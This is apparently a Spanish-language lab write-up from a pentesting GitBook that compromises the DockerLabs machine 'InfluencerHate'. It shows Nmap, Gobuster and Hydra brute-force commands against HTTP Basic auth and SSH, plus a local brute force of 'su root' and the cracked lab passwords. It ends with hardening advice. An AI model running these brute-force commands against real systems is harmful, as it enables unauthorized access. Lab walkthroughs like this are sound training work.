> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/influencerhate.md).

# InfluencerHate

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux mediante fuerza bruta sobre autenticacion HTTP, descubrimiento de credenciales en un panel web y reutilizacion de passwords para acceder por SSH.

El objetivo es superar una autenticacion Basic, encontrar un usuario valido, conseguir acceso como `balutin` y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -T4 -p- 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-cb55e8864aa1a8ea8a20c19829a906349a72fb7c%2F2026-05-11-18-01-29.png?alt=media)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.62  |

Al acceder al puerto 80 aparece una autenticacion HTTP Basic:

![HTTP Basic](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ec0b3340602b822a802966f7aeed0018a53b9689%2F2026-05-11-18-03-38.png?alt=media)

***

## Fuerza bruta de HTTP Basic

Se prueba fuerza bruta contra la autenticacion Basic usando Hydra y un diccionario de credenciales por defecto:

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \
  172.17.0.2 http-get / -t 64
```

![Hydra Basic Auth](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c15ecf8f044277d299230af887f7be952fd6b491%2F2026-05-11-18-15-39.png?alt=media)

Hydra encuentra credenciales validas:

```
Usuario: fhttpadmin
Password: fhttpadmin
```

Con esas credenciales se accede a la web protegida:

![Apache default](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-82d10d26a7db03530f85333e6332f19176fa0665%2F2026-05-11-18-15-57.png?alt=media)

***

## Enumeracion web autenticada

Se realiza fuerza bruta de rutas usando las credenciales Basic Auth:

```bash
gobuster dir -u http://172.17.0.2/ \
  -U fhttpadmin -P fhttpadmin \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,bak,zip \
  -t 40
```

![Gobuster](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ba6dcd216e4d8bac5dc22b1bd0ac14227d1650d0%2F2026-05-11-18-18-37.png?alt=media)

Recursos encontrados:

| Recurso          | Codigo | Comentario       |
| ---------------- | ------ | ---------------- |
| `/login.php`     | 200    | Panel privado    |
| `/server-status` | 403    | Acceso prohibido |

Al acceder a `/login.php` aparece un panel con varias pistas:

![Login privado](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-d1d81404ef93b829f0915ce8cef22111c8036a75%2F2026-05-11-18-18-28.png?alt=media)

***

## Fuerza bruta del login

Como el formulario no es Basic Auth sino un login propio, se prepara un script para probar passwords contra el usuario `admin`.

El script conserva la cabecera de autenticacion Basic y envia las credenciales al formulario:

![Script fuerza bruta](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6dd1d65ee2fe127292f03f40f7777d39f9eb3c79%2F2026-05-11-18-29-07.png?alt=media)

Al ejecutarlo se encuentra la password:

![Password login](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-eacee657309885a1d1bd43311568d22df5db17d2%2F2026-05-11-18-29-15.png?alt=media)

```
Usuario: admin
Password: chocolate
```

Al iniciar sesion correctamente, el panel revela un usuario del sistema:

![Login correcto](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-66d4911c88f62d91dfa73c9f3fa0419a9652533b%2F2026-05-11-18-29-31.png?alt=media)

```
De parte del usuario balutin, te damos la enhorabuena
```

Por tanto, `balutin` pasa a ser el usuario candidato para SSH.

***

## Fuerza bruta SSH

Con el usuario `balutin`, se prueba fuerza bruta contra SSH usando `rockyou.txt`:

```bash
hydra -l balutin -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

![Hydra SSH](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6bf40e19681b310c8bd7237ee8c27b25569cc176%2F2026-05-11-18-30-39.png?alt=media)

Hydra encuentra credenciales validas:

```
Usuario: balutin
Password: estrella
```

***

## Acceso inicial por SSH

Se accede a la maquina por SSH:

```bash
ssh balutin@172.17.0.2
```

![SSH balutin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-923850830afe7c93f9bb1ae1534057def05978c5%2F2026-05-11-18-31-03.png?alt=media)

Se obtiene una shell como `balutin`.

***

## Enumeracion local

Se comprueban los permisos sudo del usuario:

```bash
sudo -l
```

El comando no esta disponible o no puede ejecutarse correctamente en este entorno. Se buscan binarios SUID:

```bash
find / -perm -4000 2>/dev/null
```

![Enumeracion local](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f31e7340dfba1c3e686c4ae5b475db3aef6d5a2f%2F2026-05-11-18-31-24.png?alt=media)

No aparece un binario SUID claramente explotable, por lo que se prueba otra via: fuerza bruta local sobre `su root`.

***

## Fuerza bruta local de root

Para poder usar un diccionario dentro de la maquina, se copia `rockyou.txt` al directorio personal de `balutin`:

```bash
scp rockyou.txt balutin@172.17.0.2:/home/balutin/
```

![scp rockyou](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-19a150a28e367fba6b82dddc980df10968032766%2F2026-05-11-18-46-35.png?alt=media)

Se utiliza un script de fuerza bruta local contra `su root`

Al ejecutarlo, se encuentra la password de `root`:

![Password root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-1793022494b76bf649ce0f6417d9391970c66cc3%2F2026-05-11-18-52-46.png?alt=media)

```
rockyou
```

***

## Escalada a root

Con la password encontrada se cambia al usuario `root`:

```bash
su root
```

Password:

```
rockyou
```

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-0a65742c86d09c2479fd889d2494a59dc792bc88%2F2026-05-11-18-53-52.png?alt=media)

Se confirma el acceso privilegiado:

```bash
whoami
```

Resultado:

```
root
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Credenciales por defecto en HTTP Basic
* Panel interno accesible tras autenticacion debil
* Password debil para el usuario `admin` del panel
* Filtracion del usuario del sistema `balutin`
* Password debil reutilizable para SSH
* Password de `root` extremadamente debil y presente en `rockyou.txt`

### Puntos clave

| Fase             | Tecnica                         | Resultado                      |
| ---------------- | ------------------------------- | ------------------------------ |
| Reconocimiento   | Nmap                            | SSH y HTTP expuestos           |
| Acceso web       | Hydra contra HTTP Basic         | `fhttpadmin:fhttpadmin`        |
| Enumeracion web  | Gobuster autenticado            | Descubrimiento de `/login.php` |
| Credenciales web | Fuerza bruta del formulario     | `admin:chocolate`              |
| Usuario sistema  | Mensaje del panel               | Usuario `balutin`              |
| Acceso inicial   | Hydra SSH                       | `balutin:estrella`             |
| Escalada         | Fuerza bruta local de `su root` | Password `rockyou`             |

### Recomendaciones

* Eliminar credenciales por defecto en servicios web
* Aplicar bloqueo o rate limiting en formularios de login
* No revelar usuarios del sistema en mensajes de la aplicacion
* Usar passwords robustas fuera de diccionarios comunes
* Deshabilitar acceso directo a `root` mediante password debil
* Monitorizar intentos repetidos de autenticacion tanto en web como en SSH
